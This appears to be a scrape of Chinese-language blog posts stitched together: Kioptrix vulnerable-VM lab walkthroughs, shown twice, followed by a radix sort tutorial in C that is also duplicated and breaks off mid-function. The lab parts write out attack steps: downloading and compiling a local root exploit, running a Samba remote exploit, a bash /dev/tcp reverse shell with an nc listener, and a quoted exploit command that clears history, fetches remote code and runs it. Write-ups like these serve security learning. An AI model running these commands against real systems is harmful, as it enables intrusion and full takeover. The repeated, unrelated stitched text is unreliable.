=> `9542.c'
Connecting to 192.168.44.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,535 (2.5K) [text/x-csrc]
9542.c: Permission denied
Cannot write to `9542.c' (Permission denied).
發現下載到根目錄會Permission denied,要cd到別的目錄?檢查是否有其他隱藏目錄。
bash-3.00$ cd /tmp
bash-3.00$ pwd
/tmp
bash-3.00$ wget http://192.168.44.129:8000/9542.c
--16:50:35-- http://192.168.44.129:8000/9542.c
=> `9542.c'
Connecting to 192.168.44.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,535 (2.5K) [text/x-csrc]
0K .. 100% 80.59 MB/s
16:50:35 (80.59 MB/s) - `9542.c' saved [2535/2535]
bash-3.00$ gcc 9542.c -o 9542
9542.c:109:28: warning: no newline at end of file
bash-3.00$ ls
9542
9542.c
bash-3.00$ ./9542
sh: no job control in this shell
sh-3.00# whoami
root
下載攻擊腳本並編譯成功,執行以後拿到root權限。
接下來想要catch the flag,於是去找所有檔名含有root的資料夾與檔案:
sh-3.00# updatedb
sh-3.00# locate root
/root
/root/.bashrc
/root/.mysql_history
/root/.bash_profile
/root/.bash_history
/root/.tcshrc
/root/install.log.syslog
/root/.cshrc
/root/install.log
/root/anaconda-ks.cfg
/root/.bash_logout
/dev/root
/var/spool/mail/root
/var/lib/Pegasus/repository/root
/var/lib/Pegasus/repository/root/classes
/var/lib/Pegasus/repository/root/qualifiers
/var/lib/Pegasus/repository/root/instances
/var/lib/Pegasus/repository/root#PG_InterOp
/var/lib/Pegasus/repository/root#PG_InterOp/classes
/var/lib/Pegasus/repository/root#PG_InterOp/classes/CIM_ProductPhysicalComponent.CIM_Component
/var/lib/Pegasus/repository/root#PG_InterOp/classes/CIM_ProcessIndication.CIM_Indication
...一大堆
/var/lib/Pegasus/repository/root#PG_Internal/instances
/sbin/pivot_root
/usr/include/linux/atari_rootsec.h
/usr/sbin/rootflags
/usr/sbin/chroot
/usr/share/doc/pam-0.77/txts/README.pam_rootok
/usr/share/doc/pam-0.77/txts/README.pam_chroot
/usr/share/doc/rpm-4.3.3/buildroot
/usr/share/doc/rpm-devel-4.3.3/apidocs/html/buildroot-source.html
/usr/share/doc/rpm-devel-4.3.3/apidocs/html/buildroot.html
/usr/share/zsh/4.2.0/functions/_fakeroot
/usr/share/locale/ur/LC_MESSAGES/system-config-rootpassword.mo
...一大堆
/usr/share/locale/ru/LC_MESSAGES/system-config-rootpassword.mo
/usr/share/man/man8/pivot_root.8.gz
/usr/share/man/man8/rootflags.8.gz
/usr/share/man/man1/gpm-root.1.gz
/usr/share/man/man1/chroot.1.gz
/usr/share/man/man3/selinux_policyroot.3.gz
/usr/share/man/man2/pivot_root.2.gz
/usr/share/man/man2/chroot.2.gz
/usr/share/system-config-rootpassword
/usr/share/system-config-rootpassword/system-config-rootpassword
/usr/share/system-config-rootpassword/system-config-rootpassword.py
/usr/share/system-config-rootpassword/pixmaps
/usr/share/system-config-rootpassword/pixmaps/system-config-rootpassword.png
/usr/share/system-config-rootpassword/passwordDialog.py
/usr/share/applications/system-config-rootpassword.desktop
/usr/share/icons/hicolor/48x48/apps/system-config-rootpassword.png
/usr/share/firstboot/modules/rootpassword.py
/usr/share/umb-scheme/slib/root.scm
/usr/lib/perl5/5.8.5/i386-linux-thread-multi/linux/atari_rootsec.ph
/usr/lib/python2.3/site-packages/Ft/Server/ThirdParty/pyftpd/auth_chroot_config.py
/usr/lib/python2.3/site-packages/Ft/Server/ThirdParty/pyftpd/auth_chroot_module.pyc
/usr/lib/python2.3/site-packages/Ft/Server/ThirdParty/pyftpd/auth_chroot_module.py
/usr/lib/python2.3/site-packages/Ft/Server/ThirdParty/pyftpd/auth_chroot_config.pyo
/usr/lib/python2.3/site-packages/Ft/Server/ThirdParty/pyftpd/auth_chroot_module.pyo
/usr/lib/python2.3/site-packages/Ft/Server/ThirdParty/pyftpd/auth_chroot_config.pyc
/usr/src/kernels/2.6.9-55.EL-i686/include/linux/root_dev.h
/usr/src/kernels/2.6.9-55.EL-i686/include/config/usb/ehci/root
/usr/src/kernels/2.6.9-55.EL-i686/include/config/usb/ehci/root/hub
/usr/src/kernels/2.6.9-55.EL-i686/include/config/usb/ehci/root/hub/tt.h
/usr/src/kernels/2.6.9-55.EL-i686/include/config/security/rootplug.h
/usr/src/kernels/2.6.9-55.EL-hugemem-i686/include/linux/root_dev.h
/usr/src/kernels/2.6.9-55.EL-hugemem-i686/include/config/usb/ehci/root
/usr/src/kernels/2.6.9-55.EL-hugemem-i686/include/config/usb/ehci/root/hub
/usr/src/kernels/2.6.9-55.EL-hugemem-i686/include/config/usb/ehci/root/hub/tt.h
/usr/src/kernels/2.6.9-55.EL-hugemem-i686/include/config/security/rootplug.h
/usr/src/kernels/2.6.9-55.EL-smp-i686/include/linux/root_dev.h
/usr/src/kernels/2.6.9-55.EL-smp-i686/include/config/usb/ehci/root
/usr/src/kernels/2.6.9-55.EL-smp-i686/include/config/usb/ehci/root/hub
/usr/src/kernels/2.6.9-55.EL-smp-i686/include/config/usb/ehci/root/hub/tt.h
/usr/src/kernels/2.6.9-55.EL-smp-i686/include/config/security/rootplug.h
/usr/bin/gpm-root
/usr/bin/system-config-rootpassword
/etc/selinux/targeted/contexts/users/root
/etc/gpm-root.conf
/etc/pam.d/system-config-rootpassword
/etc/security/console.apps/system-config-rootpassword
/etc/security/chroot.conf
/lib/security/pam_chroot.so
/lib/security/pam_rootok.so
最可疑的就是/var/spool/mail/root
。
sh-3.00# cat /var/spool/mail/root
From MAILER-DAEMON@kioptrix.level2 Fri Oct 7 04:57:46 2022
Return-Path: <MAILER-DAEMON@kioptrix.level2>
Received: from localhost (localhost)
by kioptrix.level2 (8.13.1/8.13.1) id 2978vkJT002499;
Fri, 7 Oct 2022 04:57:46 -0400
Date: Fri, 7 Oct 2022 04:57:46 -0400
From: Mail Delivery Subsystem <MAILER-DAEMON@kioptrix.level2>
Message-Id: <202210070857.2978vkJT002499@kioptrix.level2>
To: postmaster@kioptrix.level2
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
boundary="2978vkJT002499.1665133066/kioptrix.level2"
Subject: Postmaster notify: see transcript for details
Auto-Submitted: auto-generated (postmaster-notification)
This is a MIME-encapsulated message
--2978vkJT002499.1665133066/kioptrix.level2
The original message was received at Thu, 9 Feb 2012 22:39:59 -0400
from localhost
with id q1A3dxnO003116
----- The following addresses had permanent fatal errors -----
<root@kioptrix.level2>
----- Transcript of session follows -----
451 kioptrix.level2: Name server timeout
Message could not be delivered for 5 days
Message will be deleted from queue
--2978vkJT002499.1665133066/kioptrix.level2
Content-Type: message/delivery-status
Reporting-MTA: dns; kioptrix.level2
Arrival-Date: Thu, 9 Feb 2012 22:39:59 -0400
Final-Recipient: RFC822; root@kioptrix.level2
Action: failed
Status: 4.4.7
Last-Attempt-Date: Fri, 7 Oct 2022 04:57:46 -0400
--2978vkJT002499.1665133066/kioptrix.level2
Content-Type: message/rfc822
Return-Path: <MAILER-DAEMON>
Received: from localhost (localhost)
by kioptrix.level2 (8.13.1/8.13.1) id q1A3dxnO003116;
Thu, 9 Feb 2012 22:39:59 -0500
Date: Thu, 9 Feb 2012 22:39:59 -0500
From: Mail Delivery Subsystem <MAILER-DAEMON>
Message-Id: <201202100339.q1A3dxnO003116@kioptrix.level2>
To: <root@kioptrix.level2>
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
boundary="q1A3dxnO003116.1328845199/kioptrix.level2"
Subject: Returned mail: see transcript for details
Auto-Submitted: auto-generated (failure)
This is a MIME-encapsulated message
--q1A3dxnO003116.1328845199/kioptrix.level2
The original message was received at Mon, 12 Oct 2009 04:02:04 -0500
from localhost.localdomain [127.0.0.1]
----- The following addresses had permanent fatal errors -----
<root@kioptrix.level2>
----- Transcript of session follows -----
451 kioptrix.level2: Name server timeout
451 kioptrix.level2: Name server timeout
451 kioptrix.level2: Name server timeout
451 kioptrix.level2: Name server timeout
Message could not be delivered for 5 days
Message will be deleted from queue
451 kioptrix.level2: Name server timeout
--q1A3dxnO003116.1328845199/kioptrix.level2
Content-Type: message/delivery-status
Reporting-MTA: dns; kioptrix.level2
Arrival-Date: Mon, 12 Oct 2009 04:02:04 -0500
Final-Recipient: RFC822; root@kioptrix.level2
Action: failed
Status: 4.4.7
Last-Attempt-Date: Thu, 9 Feb 2012 22:39:59 -0500
--q1A3dxnO003116.1328845199/kioptrix.level2
Content-Type: message/rfc822
Return-Path: <root@kioptrix.level2>
Received: from kioptrix.level2 (localhost.localdomain [127.0.0.1])
by kioptrix.level2 (8.13.1/8.13.1) with ESMTP id n9C824DR003890
for <root@kioptrix.level2>; Mon, 12 Oct 2009 04:02:04 -0400
Received: (from root@localhost)
by kioptrix.level2 (8.13.1/8.13.1/Submit) id n9C824Nj003888
for root; Mon, 12 Oct 2009 04:02:04 -0400
Date: Mon, 12 Oct 2009 04:02:04 -0400
From: root <root@kioptrix.level2>
Message-Id: <200910120802.n9C824Nj003888@kioptrix.level2>
To: root@kioptrix.level2
Subject: LogWatch for kioptrix.level2
################### LogWatch 5.2.2 (06/23/04) ####################
Processing Initiated: Mon Oct 12 04:02:04 2009
Date Range Processed: yesterday
Detail Level of Output: 0
Logfiles for Host: kioptrix.level2
################################################################
--------------------- SSHD Begin ------------------------
SSHD Killed: 1 Time(s)
---------------------- SSHD End -------------------------
------------------ Disk Space --------------------
/dev/mapper/VolGroup00-LogVol00
3.3G 1.5G 1.7G 47% /
/dev/hda1 99M 9.3M 85M 10% /boot
###################### LogWatch End #########################
--q1A3dxnO003116.1328845199/kioptrix.level2--
--2978vkJT002499.1665133066/kioptrix.level2--
留下的疑問: 如何確定網頁有SQL injection跟command injection漏洞? 如果有漏洞,要用什麼語句打?
]]>(1):打开靶机所在文件夹,找到vmx后缀的文件并打开
(2):将Bridged全部改成nat(默认是桥接模式,因为kali是nat才能扫描IP)
接下來用vmware掛載vmdk,出現以下畫面即可開始
由於不知道主機在哪,所以先把192.168
開頭的ip全部先掃一遍,使用nmap -sP
,透過Ping方式來掃描該網段其他主機。
隨便猜,大概是192.168.44.128
很可疑,所以對它進行更深入的掃描。用的是nmap -A -p 0-65535 192.168.44.128
,把0到65535的埠全部掃一遍並列出服務。
可以藉由上圖的螢光筆,看到總共開啟了22,80,111,139.443,1024等網路埠
80port的服務有Apache/1.3.20 (Unix),(Red-Hat/Linux),mod_ssl/2.8.4 OpenSSL/0.9.6b
(一) 打Samba(因為看到139 port有samba)
(1) 先知道Samba版本
先下載smbver這個shell檔,在github上的位置如下:
OSCPRepo / scripts / recon_enum / smbver.sh
使用方式如下:
bash smbver.sh <靶機IP> <網路埠>
命令行其實什麼都不會顯示,是要用wireshark來抓封包,所以在使用smbver.sh之前,需要把wireshark打開並開始抓封包,等上述shell檔執行完後,就可以停止抓封包,並找到smb相關封包如下:
可以發現藍色處就有Samba版本2.2.1a
(2)找到相對應戰具
下指令 searchsploit samba
可以看到上圖反白處這個戰具應該不錯。另外,searchsploit所列出的路徑,其實只是部分路徑。比如說如果searchsploit列出路徑unix/remote/764.c
,那麼真正的路徑是在/usr/share/exploitdb/exploits/unix/remote/764.c
裡面。當然,這是因為kali linux內建這個漏洞腳本庫,其他版本的linux就要自行去下載這個漏洞腳本庫。
編譯執行
sudo gcc 10.c -o samba_code_exec
# gcc 10.c -o samba_code_exec
# ./samba_code_exec
Usage: ./samba_code_exec [-bBcCdfprsStv] [host]
-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step> bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)
-f force
-p <port> port to attack (default = 139)
-r <ret> return address
-s scan mode (random)
-S <network> scan mode
-t <type> presets (0 for a list)
-v verbose mode
如果直接執行會出現上圖,可以告訴使用者用法。
根據上圖資訊用以下參數執行程式:
./samba_code_exec -b 0 192.168.44.128
可以成功RCE
再來就是要找flag,但是要先reverse shell
reverse shell步驟:
在kali端輸入nc -lvvp 1234
代表聆聽網路埠1234,接下來在已經取得root權限的靶機輸入bash -i >& /dev/tcp/[攻擊機ip]/[剛剛聆聽的網路埠] 0>&1
接下來剛剛輸入nc -lvvp 1234
的攻擊機就可以操控靶機,畫面如下:
看到root@kioptrix tmp
代表已可以操控kioptrix這台靶機。
接下來就是最後一個步驟catch the flag。我們用列出該靶機的history來檢查:
可以發現有它曾經有動過mail,於是下指令:
cat /var/spool/mail/root
可以發現bingo
(二) 打apache
(注意這裡的腳本只能兩台網段一樣才能使用?所以WSL的kali不能用這腳本去打虛擬機的靶機)試試看打apache 1.3.20,先找漏洞,輸入指令searchsploit apache 1.3.20
,會輸出結果如圖
螢光筆畫出的三個應該是符合目前環境的可用漏洞。
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
首先說說第三個poc,47080.c
。原始碼裡面有一行
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod.c; ./exploit; \n"
這是在取得apache權限後,會繼續從COMMAND2執行
cd /tmp;
wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
gcc -o exploit ptrace-kmod.c -B /usr/bin;
rm ptrace-kmod.c
./exploit
\n
但是這個bash有兩個問題。第一個問題,是wget那個網址根本不能用,第二個問題,是編譯執行出來的exploit會遇到權限不夠的問題。
第一個問題其實可以想辦法解決。首先,ptrace-kmod.c
其實可以在以下網址下載。
exploits/ptrace-kmod.c at master · piyush-saurabh/exploits · GitHub
接下來步驟如下:
創建一個資料夾,就假設叫ptrace: mkdir ptrace
把ptrace-kmod.c
下載到ptrace資料夾
cd ptrace
python -m http.server
在瀏覽器網址列輸入http://localhost:8000/
就可以看到
所以可以把https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
改成http://[本機IP]:8000/ptrace-kmod.c
不過第二個問題依然沒解決就是了...
]]>(1):打开靶机所在文件夹,找到vmx后缀的文件并打开
(2):将Bridged全部改成nat(默认是桥接模式,因为kali是nat才能扫描IP)
接下來用vmware掛載vmdk,出現以下畫面即可開始
由於不知道主機在哪,所以先把192.168
開頭的ip全部先掃一遍,使用nmap -sP
,透過Ping方式來掃描該網段其他主機。
隨便猜,大概是192.168.44.128
很可疑,所以對它進行更深入的掃描。用的是nmap -A -p 0-65535 192.168.44.128
,把0到65535的埠全部掃一遍並列出服務。
可以藉由上圖的螢光筆,看到總共開啟了22,80,111,139.443,1024等網路埠
80port的服務有Apache/1.3.20 (Unix),(Red-Hat/Linux),mod_ssl/2.8.4 OpenSSL/0.9.6b
(一) 打Samba(因為看到139 port有samba)
(1) 先知道Samba版本
先下載smbver這個shell檔,在github上的位置如下:
OSCPRepo / scripts / recon_enum / smbver.sh
使用方式如下:
bash smbver.sh <靶機IP> <網路埠>
命令行其實什麼都不會顯示,是要用wireshark來抓封包,所以在使用smbver.sh之前,需要把wireshark打開並開始抓封包,等上述shell檔執行完後,就可以停止抓封包,並找到smb相關封包如下:
可以發現藍色處就有Samba版本2.2.1a
(2)找到相對應戰具
下指令 searchsploit samba
可以看到上圖反白處這個戰具應該不錯。另外,searchsploit所列出的路徑,其實只是部分路徑。比如說如果searchsploit列出路徑unix/remote/764.c
,那麼真正的路徑是在/usr/share/exploitdb/exploits/unix/remote/764.c
裡面。當然,這是因為kali linux內建這個漏洞腳本庫,其他版本的linux就要自行去下載這個漏洞腳本庫。
編譯執行
sudo gcc 10.c -o samba_code_exec
# gcc 10.c -o samba_code_exec
# ./samba_code_exec
Usage: ./samba_code_exec [-bBcCdfprsStv] [host]
-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step> bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)
-f force
-p <port> port to attack (default = 139)
-r <ret> return address
-s scan mode (random)
-S <network> scan mode
-t <type> presets (0 for a list)
-v verbose mode
如果直接執行會出現上圖,可以告訴使用者用法。
根據上圖資訊用以下參數執行程式:
./samba_code_exec -b 0 192.168.44.128
可以成功RCE
再來就是要找flag,但是要先reverse shell
reverse shell步驟:
在kali端輸入nc -lvvp 1234
代表聆聽網路埠1234,接下來在已經取得root權限的靶機輸入bash -i >& /dev/tcp/[攻擊機ip]/[剛剛聆聽的網路埠] 0>&1
接下來剛剛輸入nc -lvvp 1234
的攻擊機就可以操控靶機,畫面如下:
看到root@kioptrix tmp
代表已可以操控kioptrix這台靶機。
接下來就是最後一個步驟catch the flag。我們用列出該靶機的history來檢查:
可以發現有它曾經有動過mail,於是下指令:
cat /var/spool/mail/root
可以發現bingo
(二) 打apache
(注意這裡的腳本只能兩台網段一樣才能使用?所以WSL的kali不能用這腳本去打虛擬機的靶機)試試看打apache 1.3.20,先找漏洞,輸入指令searchsploit apache 1.3.20
,會輸出結果如圖
螢光筆畫出的三個應該是符合目前環境的可用漏洞。
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
首先說說第三個poc,47080.c
。原始碼裡面有一行
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod.c; ./exploit; \n"
這是在取得apache權限後,會繼續從COMMAND2執行
cd /tmp;
wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
gcc -o exploit ptrace-kmod.c -B /usr/bin;
rm ptrace-kmod.c
./exploit
\n
但是這個bash有兩個問題。第一個問題,是wget那個網址根本不能用,第二個問題,是編譯執行出來的exploit會遇到權限不夠的問題。
第一個問題其實可以想辦法解決。首先,ptrace-kmod.c
其實可以在以下網址下載。
exploits/ptrace-kmod.c at master · piyush-saurabh/exploits · GitHub
接下來步驟如下:
創建一個資料夾,就假設叫ptrace: mkdir ptrace
把ptrace-kmod.c
下載到ptrace資料夾
cd ptrace
python -m http.server
在瀏覽器網址列輸入http://localhost:8000/
就可以看到
所以可以把https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
改成http://[本機IP]:8000/ptrace-kmod.c
不過第二個問題依然沒解決就是了...
]]>int buckets[]
),代表這個籃子所代表的字,它在output的第幾個開始。#include <stdio.h>
void compute_buckets(int n, char *array[n], int buckets[256])
{
for (int i = 0; i < 256; i++) {
buckets[i] = 0;
}
for (int i = 0; i < n; i++) {
unsigned char bucket = (unsigned char)array[i][0];
buckets[bucket]++;
}
int m = n;
for (int i = 256 - 1; i >= 0; i--) {
int count = buckets[i];
buckets[i] = m - count;
m -= count;
}
}
void sort_strings(int n, char *input[n], char *output[n])
{
int buckets[256];
compute_buckets(n, input, buckets);
for (int i = 0; i < n; i++) {
unsigned char bucket = (unsigned char)input[i][0];
int index = buckets[bucket]++;
output[index] = input[i];
}
}
int main(void)
{
char *array[] = {
"foo", "boo", "bar", "qoo", "qar", "baz", "qux", "qaz"
};
int n = sizeof array / sizeof *array;
char *output[n];
sort_strings(n, array, output);
for (int i = 0; i < n; i++) {
printf("%s\n", output[i]);
}
return 0;
}
接下來就可以開始講radix sort,這裡以3位數的排序來舉例。
假設需要排序的數列是: 7,121,8,35,16,44,那麼我們需要10個桶子代表0-9,對個位數、十位數、百位數進行3次的bucket sort。
第一回合如下(個位數):
輸出會是121,44,35,16,7,8(輸出方式是由左到右,由上而下),再拿這個output來進行第二回合:
這樣輸出會是7,8,16,121,35,44
再拿這個output當作input來進行第三回合,可以發現除了121以外的數字都照input順序由上到下排在0的桶子裡面,照由左到右,由上而下的輸出即可完成排序。
問題來了,要怎麼把前一回合輸出的陣列當作下一回合的輸入? 答案是下面這個函式:
void radix_sort(int n, int array[n])
{
// It is *very* unlikely that sizeof an integer is odd, but if
// it is, you need to move the results from helper
// to array. I assume that we have an even number of bytes
// because that is practically always true for int
static_assert(sizeof *array % 2 == 0,
"integer sizes must be powers of two");
// Helper buffer; handle input/output switches
// when bucket sorting
int helper[n];
// For switching between the buffers
int *buffers[] = { array, helper };
int bucket_input = 0;
for (int offset = 0; offset < sizeof *array; offset++) {
bucket_sort(n, offset,
buffers[bucket_input],
buffers[!bucket_input]);
bucket_input = !bucket_input;
}
}
這裡多出了一個helper陣列,更有趣的是互換機制,是立了一個bucket_input
當作flag,每一回合要嘛0要嘛1,對應int *buffers[] = { array, helper };
的第0個跟第1個,來當作陣input、output切換。
以範例程式來說,要排的是int,我們可以不用個十百千萬這樣照十進位位數做bucket sort,因為int一定是4個byte,所以每次比一個byte比四次,即可得出正確答案。而1個byte有8個bit,所以需要256大小的buckets陣列。
但是負數的問題要處理,處理方式是把數列分成正數塊跟負數塊,再分別比較。具體做法,是排序前要先整理數列,把負數集中在左邊,正數集中在右邊。做法是兩個函式scan_right
跟scan_left
分別回傳最右邊的負數位置跟最左邊的正數位置,再利用swap函數做交換。如此持續直到scan_right
的回傳值大於scan_left
為止。
int *scan_right(int *left, int *right)
{
while (left < right) {
if (*left >= 0) break;
left++;
}
return left;
}
// Both left and right must point to legal addresses
int *scan_left(int *left, int *right)
{
while (left < right) {
if (*right < 0) break;
right--;
}
return right;
}
// Both left and right must point to legal addresses
void swap(int *left, int *right)
{
int i = *left;
*left = *right;
*right = i;
}
int split(int n, int array[n])
{
int *left = array, *right = array + n - 1;
while (left < right) {
left = scan_right(left, right);
right = scan_left(left, right);
swap(left, right);
}
return left - array;
}
而正負數混合數列的排序,其程式碼如下:
void sort_int(int n, int array[n])
{
if (n <= 0) return;
int m = split(n, array);
if (m > 0) {
radix_sort(m, array);
reverse(m, array);
}
if (m < n) {
radix_sort(n - m, array + m);
}
}
完整程式碼:
#include <stdio.h>
#include <assert.h>
void bucket_sort(int n, int offset,
int const input[n], int output[n])
{
int buckets[256];
for (int i = 0; i < 256; i++) {
buckets[i] = 0;
}
for (int i = 0; i < n; i++) {
unsigned char bucket = (input[i] >> 8 * offset) & 0xff;
buckets[bucket]++;
}
int m = n;
for (int i = 256 - 1; i >= 0; i--) {
int count = buckets[i];
buckets[i] = m - count;
m -= count;
}
for (int i = 0; i < n; i++) {
unsigned char bucket = (input[i] >> 8 * offset) & 0xff;
int index = buckets[bucket]++;
output[index] = input[i];
}
}
void radix_sort(int n, int array[n])
{
// It is *very* unlikely that sizeof an integer is odd, but if
// it is, you need to move the results from helper
// to array. I assume that we have an even number of bytes
// because that is practically always true for int
static_assert(sizeof *array % 2 == 0,
"integer sizes must be powers of two");
// Helper buffer; handle input/output switches
// when bucket sorting
int helper[n];
// For switching between the buffers
int *buffers[] = { array, helper };
int bucket_input = 0;
for (int offset = 0; offset < sizeof *array; offset++) {
bucket_sort(n, offset,
buffers[bucket_input],
buffers[!bucket_input]);
bucket_input = !bucket_input;
}
}
// Both left and right must point to legal addresses
int *scan_right(int *left, int *right)
{
while (left < right) {
if (*left >= 0) break;
left++;
}
return left;
}
// Both left and right must point to legal addresses
int *scan_left(int *left, int *right)
{
while (left < right) {
if (*right < 0) break;
right--;
}
return right;
}
// Both left and right must point to legal addresses
void swap(int *left, int *right)
{
int i = *left;
*left = *right;
*right = i;
}
int split(int n, int array[n])
{
int *left = array, *right = array + n - 1;
while (left < right) {
left = scan_right(left, right);
right = scan_left(left, right);
swap(left, right);
}
return left - array;
}
void reverse(int n, int array[n])
{
int *left = array, *right = array + n - 1;
while (left < right) {
swap(left++, right--);
}
}
void sort_int(int n, int array[n])
{
if (n <= 0) return;
int m = split(n, array);
if (m > 0) {
radix_sort(m, array);
reverse(m, array);
}
if (m < n) {
radix_sort(n - m, array + m);
}
}
int main(void)
{
int array[] = { -1, -2, 13, 12, 4, 4200, 13, 6, 14, -3, 42, 13 };
int n = sizeof array / sizeof *array;
radix_sort(n, array);
for (int i = 0; i < n; i++) {
printf("%d ", array[i]);
}
printf("\n");
sort_int(n, array);
for (int i = 0; i < n; i++) {
printf("%d ", array[i]);
}
printf("\n");
return 0;
}
]]>int buckets[]
),代表這個籃子所代表的字,它在output的第幾個開始。#include <stdio.h>
void compute_buckets(int n, char *array[n], int buckets[256])
{
for (int i = 0; i < 256; i++) {
buckets[i] = 0;
}
for (int i = 0; i < n; i++) {
unsigned char bucket = (unsigned char)array[i][0];
buckets[bucket]++;
}
int m = n;
for (int i = 256 - 1; i >= 0; i--) {
int count = buckets[i];
buckets[i] = m - count;
m -= count;
}
}
void sort_strings(int n, char *input[n], char *output[n])
{
int buckets[256];
compute_buckets(n, input, buckets);
for (int i = 0; i < n; i++) {
unsigned char bucket = (unsigned char)input[i][0];
int index = buckets[bucket]++;
output[index] = input[i];
}
}
int main(void)
{
char *array[] = {
"foo", "boo", "bar", "qoo", "qar", "baz", "qux", "qaz"
};
int n = sizeof array / sizeof *array;
char *output[n];
sort_strings(n, array, output);
for (int i = 0; i < n; i++) {
printf("%s\n", output[i]);
}
return 0;
}
接下來就可以開始講radix sort,這裡以3位數的排序來舉例。
假設需要排序的數列是: 7,121,8,35,16,44,那麼我們需要10個桶子代表0-9,對個位數、十位數、百位數進行3次的bucket sort。
第一回合如下(個位數):
輸出會是121,44,35,16,7,8(輸出方式是由左到右,由上而下),再拿這個output來進行第二回合:
這樣輸出會是7,8,16,121,35,44
再拿這個output當作input來進行第三回合,可以發現除了121以外的數字都照input順序由上到下排在0的桶子裡面,照由左到右,由上而下的輸出即可完成排序。
問題來了,要怎麼把前一回合輸出的陣列當作下一回合的輸入? 答案是下面這個函式:
void radix_sort(int n, int array[n])
{
// It is *very* unlikely that sizeof an integer is odd, but if
// it is, you need to move the results from helper
// to array. I assume that we have an even number of bytes
// because that is practically always true for int
static_assert(sizeof *array % 2 == 0,
"integer sizes must be powers of two");
// Helper buffer; handle input/output switches
// when bucket sorting
int helper[n];
// For switching between the buffers
int *buffers[] = { array, helper };
int bucket_input = 0;
for (int offset = 0; offset < sizeof *array; offset++) {
bucket_sort(n, offset,
buffers[bucket_input],
buffers[!bucket_input]);
bucket_input = !bucket_input;
}
}
這裡多出了一個helper陣列,更有趣的是互換機制,是立了一個bucket_input
當作flag,每一回合要嘛0要嘛1,對應int *buffers[] = { array, helper };
的第0個跟第1個,來當作陣input、output切換。
以範例程式來說,要排的是int,我們可以不用個十百千萬這樣照十進位位數做bucket sort,因為int一定是4個byte,所以每次比一個byte比四次,即可得出正確答案。而1個byte有8個bit,所以需要256大小的buckets陣列。
但是負數的問題要處理,處理方式是把數列分成正數塊跟負數塊,再分別比較。具體做法,是排序前要先整理數列,把負數集中在左邊,正數集中在右邊。做法是兩個函式scan_right
跟scan_left
分別回傳最右邊的負數位置跟最左邊的正數位置,再利用swap函數做交換。如此持續直到scan_right
的回傳值大於scan_left
為止。
int *scan_right(int *left, int *right)
{
while (left < right) {
if (*left >= 0) break;
left++;
}
return left;
}
// Both left and right must point to legal addresses
int *scan_left(int *left, int *right)
{
while (left < right) {
if (*right < 0) break;
right--;
}
return right;
}
// Both left and right must point to legal addresses
void swap(int *left, int *right)
{
int i = *left;
*left = *right;
*right = i;
}
int split(int n, int array[n])
{
int *left = array, *right = array + n - 1;
while (left < right) {
left = scan_right(left, right);
right = scan_left(left, right);
swap(left, right);
}
return left - array;
}
而正負數混合數列的排序,其程式碼如下:
void sort_int(int n, int array[n])
{
if (n <= 0) return;
int m = split(n, array);
if (m > 0) {
radix_sort(m, array);
reverse(m, array);
}
if (m < n) {
radix_sort(n - m, array + m);
}
}
完整程式碼:
#include <stdio.h>
#include <assert.h>
void bucket_sort(int n, int offset,
int const input[n], int output[n])
{
int buckets[256];
for (int i = 0; i < 256; i++) {
buckets[i] = 0;
}
for (int i = 0; i < n; i++) {
unsigned char bucket = (input[i] >> 8 * offset) & 0xff;
buckets[bucket]++;
}
int m = n;
for (int i = 256 - 1; i >= 0; i--) {
int count = buckets[i];
buckets[i] = m - count;
m -= count;
}
for (int i = 0; i < n; i++) {
unsigned char bucket = (input[i] >> 8 * offset) & 0xff;
int index = buckets[bucket]++;
output[index] = input[i];
}
}
void radix_sort(int n, int array[n])
{
// It is *very* unlikely that sizeof an integer is odd, but if
// it is, you need to move the results from helper
// to array. I assume that we have an even number of bytes
// because that is practically always true for int
static_assert(sizeof *array % 2 == 0,
"integer sizes must be powers of two");
// Helper buffer; handle input/output switches
// when bucket sorting
int helper[n];
// For switching between the buffers
int *buffers[] = { array, helper };
int bucket_input = 0;
for (int offset = 0; offset < sizeof *array; offset++) {
bucket_sort(n, offset,
buffers[bucket_input],
buffers[!bucket_input]);
bucket_input = !bucket_input;
}
}
// Both left and right must point to legal addresses
int *scan_right(int *left, int *right)
{
while (left < right) {
if (*left >= 0) break;
left++;
}
return left;
}
// Both left and right must point to legal addresses
int *scan_left(int *left, int *right)
{
while (left < right) {
if (*right < 0) break;
right--;
}
return right;
}
// Both left and right must point to legal addresses
void swap(int *left, int *right)
{
int i = *left;
*left = *right;
*right = i;
}
int split(int n, int array[n])
{
